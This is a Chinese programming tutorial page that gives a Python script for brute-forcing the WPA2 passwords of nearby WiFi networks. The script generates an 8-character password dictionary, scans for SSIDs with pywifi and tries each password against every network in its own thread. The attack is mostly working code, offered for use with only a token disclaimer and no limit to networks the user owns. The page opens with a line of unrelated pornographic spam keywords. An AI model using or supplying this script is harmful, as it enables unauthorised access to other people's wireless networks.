欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python利用多線程枚舉實(shí)現(xiàn)獲取wifi信息

 更新時(shí)間:2022年12月14日 09:41:29   作者:Sir?老王  
這篇文章主要為大家詳細(xì)介紹了Python如何利用枚舉字典的方式來實(shí)現(xiàn)獲取wifi信息,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以了解一下

由于是通過枚舉字典的方式來實(shí)現(xiàn)的,因此在開始之前我們需要先構(gòu)建好密碼字典。

通過對密碼字典挨個(gè)進(jìn)行試錯(cuò)的方式獲取正確wifi名稱和密碼,此內(nèi)容只可以用于知識(shí)講解不允許任何商業(yè)用途使用。

開始之前需要先將需要的python非標(biāo)準(zhǔn)模塊安裝一下,若已安裝請忽略。

pip?install?pywifi?-i?https://pypi.tuna.tsinghua.edu.cn/simple

pip?install?comtypes?-i?https://pypi.tuna.tsinghua.edu.cn/simple

然后使用python內(nèi)置的模塊itertools生成后面需要的密碼字典。

#?Itertools?is?a?module?that?provides?a?number?of?functions?that?work?with?iterators?to?produce?complex?iterators.
import?itertools?as?its

#?Importing?the?threading?module.
import?threading

#?It's?a?logging?library.
from?loguru?import?logger

初始化字典項(xiàng)包含的正常字符以及特殊字符。

text?=?"1234567890abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+=-"

提取隨機(jī)組合長度為8位的字符串,因?yàn)橐话忝艽a長度為8位,可根據(jù)實(shí)際情況設(shè)置提取位數(shù)。

result_?=?its.product(text,?repeat=8)

dic?=?open("pwd.txt","a")

for?i?in?result_:
????dic.write("".join(i))
????dic.write("".join("\n"))
dic.close()

這個(gè)時(shí)候字典已經(jīng)生成好了,我們需要使用wifi網(wǎng)卡對信號(hào)范圍內(nèi)的wifi進(jìn)行掃描。

#?*|CURSOR_MARCADOR|*
from?pywifi?import?const,?PyWiFi,?Profile

#?It's?just?an?alias?for?the?time?module.
from?time?import?sleep
wifi?=?PyWiFi()
interface?=?wifi.interfaces()[0]

interface.scan()
sleep(3)
wifis?=?interface.scan_results()

print(wifis)

經(jīng)過網(wǎng)卡的scan函數(shù)掃描,如今信號(hào)范圍內(nèi)的wifi名稱信息也都獲取完成了。

為了方便后面使用多線程進(jìn)行枚舉字典的遍歷,這里我們編寫一個(gè)函數(shù)connect_wifi函數(shù)用來連接wifi。

def?connect_wifi(wifi_name=None,?wifi_pass_path=None,?interface=None):
????with?open(wifi_pass_path,?'r')?as?file_pwd:
????????for?pd?in?file_pwd:
????????????pd?=?pd.strip('\n')
????????????if?interface.status()?==?const.IFACE_CONNECTED:
????????????????interface.disconnect()
????????????????sleep(2)

????????????profile?=?Profile()??#?配置文件
????????????profile.ssid?=?wifi_name
????????????profile.auth?=?const.AUTH_ALG_OPEN??#?需要密碼
????????????profile.akm.append(const.AKM_TYPE_WPA2PSK)??#?加密類型
????????????profile.cipher?=?const.CIPHER_TYPE_CCMP??#?加密單元
????????????profile.key?=?pd

????????????interface.remove_all_network_profiles()??#?刪除其它配置文件
????????????tmp_profile?=?interface.add_network_profile(profile)??#?加載配置文件
????????????interface.connect(tmp_profile)

????????????sleep(3)

????????????if?interface.status()?==?const.IFACE_CONNECTED:
????????????????logger.info('連接成功,當(dāng)前wifi名稱:{0}\n當(dāng)前wifi密碼:{1}'.format(wifi_name,?pd))
????????????????break
????????????else:
????????????????logger.error('連接失敗,當(dāng)前wifi名稱:{0}\n當(dāng)前wifi密碼:{1}'.format(wifi_name,?pd))

上面單個(gè)wifi連接的函數(shù)完成之后,為了提升效率我們使用一個(gè)線程獲取一個(gè)wifi的連接方式獲取wifi名稱和密碼。

for?w?in?wifis:
????t?=?threading.Thread(target=connect_wifi,?args=(w.ssid,?'pwd.txt',?interface))
????t.start()

到此這篇關(guān)于Python利用多線程枚舉實(shí)現(xiàn)獲取wifi信息的文章就介紹到這了,更多相關(guān)Python獲取wifi信息內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python實(shí)現(xiàn)定時(shí)播放mp3

    python實(shí)現(xiàn)定時(shí)播放mp3

    這篇文章主要介紹了python實(shí)現(xiàn)定時(shí)播放mp3,程序非常簡單,功能很實(shí)用,主要是使用python實(shí)現(xiàn)了一首mp3歌每半小時(shí)播放一次,有需要的小伙伴可以參考下。
    2015-03-03
  • Python?pycharm讀取文件相對路徑與絕對路徑的方法

    Python?pycharm讀取文件相對路徑與絕對路徑的方法

    這篇文章主要給大家介紹了關(guān)于Python?pycharm讀取文件相對路徑與絕對路徑的方法,絕對路徑就是文件的真正存在的路徑,是指從硬盤的根目錄(盤符)開始,進(jìn)行一級級目錄指向文件,相對路徑就是以當(dāng)前文件為基準(zhǔn)進(jìn)行一級級目錄指向被引用的資源文件,需要的朋友可以參考下
    2023-12-12
  • 詳解python的集合set的函數(shù)

    詳解python的集合set的函數(shù)

    這篇文章主要為大家介紹了python的集合set的函數(shù),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來幫助
    2022-01-01
  • 深入淺析Python2.x和3.x版本的主要區(qū)別

    深入淺析Python2.x和3.x版本的主要區(qū)別

    這篇文章主要介紹了Python2.x和3.x版本的主要區(qū)別,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2018-11-11
  • Python中的shutil標(biāo)準(zhǔn)庫用法解析

    Python中的shutil標(biāo)準(zhǔn)庫用法解析

    這篇文章主要介紹了Python中的shutil標(biāo)準(zhǔn)庫用法解析,shutil模塊提供了許多關(guān)于文件和文件集合的高級操作,特別提供了支持文件復(fù)制和刪除的功能,需要的朋友可以參考下
    2023-09-09
  • pytorch中的torch.nn.Conv2d()函數(shù)圖文詳解

    pytorch中的torch.nn.Conv2d()函數(shù)圖文詳解

    這篇文章主要給大家介紹了關(guān)于pytorch中torch.nn.Conv2d()函數(shù)的相關(guān)資料,文中通過實(shí)例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2022-02-02
  • Python多線程中阻塞(join)與鎖(Lock)使用誤區(qū)解析

    Python多線程中阻塞(join)與鎖(Lock)使用誤區(qū)解析

    這篇文章主要為大家詳細(xì)介紹了Python多線程中阻塞join與鎖Lock的使用誤區(qū),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-04-04
  • Python 多進(jìn)程原理及實(shí)現(xiàn)

    Python 多進(jìn)程原理及實(shí)現(xiàn)

    這篇文章主要介紹了Python 多進(jìn)程原理及實(shí)現(xiàn),幫助大家更好的理解和使用python,感興趣的朋友可以了解下
    2020-12-12
  • Python生成九宮格圖片的示例代碼

    Python生成九宮格圖片的示例代碼

    這篇文章主要介紹了Python生成九宮格圖片的示例代碼,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-04-04
  • python網(wǎng)絡(luò)編程之讀取網(wǎng)站根目錄實(shí)例

    python網(wǎng)絡(luò)編程之讀取網(wǎng)站根目錄實(shí)例

    這篇文章主要介紹了python網(wǎng)絡(luò)編程之讀取網(wǎng)站根目錄實(shí)例,以quux.org站根目錄為例進(jìn)行了實(shí)例分析,代碼簡單易懂,需要的朋友可以參考下
    2014-09-09

最新評論